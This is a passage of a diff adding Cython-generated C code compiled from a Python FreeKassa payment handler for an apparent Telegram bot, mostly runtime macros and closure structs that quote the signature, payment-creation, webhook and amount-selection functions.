PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/freekassa_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* ForceInitThreads.proto */ +#ifndef __PYX_FORCE_INIT_THREADS + #define __PYX_FORCE_INIT_THREADS 0 +#endif + +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input; + +/* "handlers/payments/freekassa_pay.py":32 + * def generate_signature(params, api_key): + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) # <<<<<<<<<<<<<< + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() + * + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr { + PyObject_HEAD + PyObject *__pyx_genexpr_arg_0; + PyObject *__pyx_v_value; +}; + + +/* "handlers/payments/freekassa_pay.py":36 + * + * + * async def create_payment(user_id, amount, email, ip): # <<<<<<<<<<<<<< + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_e; + PyObject *__pyx_v_email; + PyObject *__pyx_v_ip; + PyObject *__pyx_v_nonce; + PyObject *__pyx_v_params; + PyObject *__pyx_v_payment_id; + PyObject *__pyx_v_response; + PyObject *__pyx_v_response_data; + PyObject *__pyx_v_user_id; +}; + + +/* "handlers/payments/freekassa_pay.py":70 + * + * + * async def freekassa_webhook(request): # <<<<<<<<<<<<<< + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_data; + PyObject *__pyx_v_request; + PyObject *__pyx_v_user_id; +}; + + +/* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_i; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/freekassa_pay.py":127 + * + * + * @router.callback_query(F.data.startswith("freekassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_data; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_v_user_email; + PyObject *__pyx_v_user_ip; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/freekassa_pay.py":167 + * + * + * @router.callback_query(F.data == "enter_custom_amount_freekassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/freekassa_pay.py":175 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_freekassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_keyboard; + PyObject *__pyx_v_message; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_v_user_email; + PyObject *__pyx_v_user_ip; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* IterFinish.proto */ +static CYTHON_INLINE int __Pyx_IterFinish(void); + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* RaiseNeedMoreValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); + +/* RaiseTooManyValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); + +/* UnpackItemEndCheck.proto */ +static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); + +/* RaiseNoneIterError.proto */ +static CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void); + +/* UnpackTupleError.proto */ +static void __Pyx_UnpackTupleError(PyObject *, Py_ssize_t index); + +/* UnpackTuple2.proto */ +#define __Pyx_unpack_tuple2(tuple, value1, value2, is_tuple, has_known_size, decref_tuple)\ + (likely(is_tuple || PyTuple_Check(tuple)) ?\ + (likely(has_known_size || PyTuple_GET_SIZE(tuple) == 2) ?\ + __Pyx_unpack_tuple2_exact(tuple, value1, value2, decref_tuple) :\ + (__Pyx_UnpackTupleError(tuple, 2), -1)) :\ + __Pyx_unpack_tuple2_generic(tuple, value1, value2, has_known_size, decref_tuple)) +static CYTHON_INLINE int __Pyx_unpack_tuple2_exact( + PyObject* tuple, PyObject** value1, PyObject** value2, int decref_tuple); +static int __Pyx_unpack_tuple2_generic( + PyObject* tuple, PyObject** value1, PyObject** value2, int has_known_size, int decref_tuple); + +/* dict_iter.proto */ +static CYTHON_INLINE PyObject* __Pyx_dict_iterator(PyObject* dict, int is_dict, PyObject* method_name, + Py_ssize_t* p_orig_length, int* p_is_dict); +static CYTHON_INLINE int __Pyx_dict_iter_next(PyObject* dict_or_iter, Py_ssize_t orig_length, Py_ssize_t* ppos, + PyObject** pkey, PyObject** pvalue, PyObject** pitem, int is_dict); + +/* RaiseUnboundLocalError.proto */ +static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname); + +/* ListCompAppend.proto */ +#if CYTHON_USE_PYLIST_INTERNALS && CYTHON_ASSUME_SAFE_MACROS +static CYTHON_INLINE int __Pyx_ListComp_Append(PyObject* list, PyObject* x) { + PyListObject* L = (PyListObject*) list; + Py_ssize_t len = Py_SIZE(list); + if (likely(L->allocated > len)) { + Py_INCREF(x); + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + L->ob_item[len] = x; + #else + PyList_SET_ITEM(list, len, x); + #endif + __Pyx_SET_SIZE(list, len + 1); + return 0; + } + return PyList_Append(list, x); +} +#else +#define __Pyx_ListComp_Append(L,x) PyList_Append(L,x) +#endif + +/* PyObject_Unicode.proto */ +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Str(obj)) +#else +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Unicode(obj)) +#endif + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) 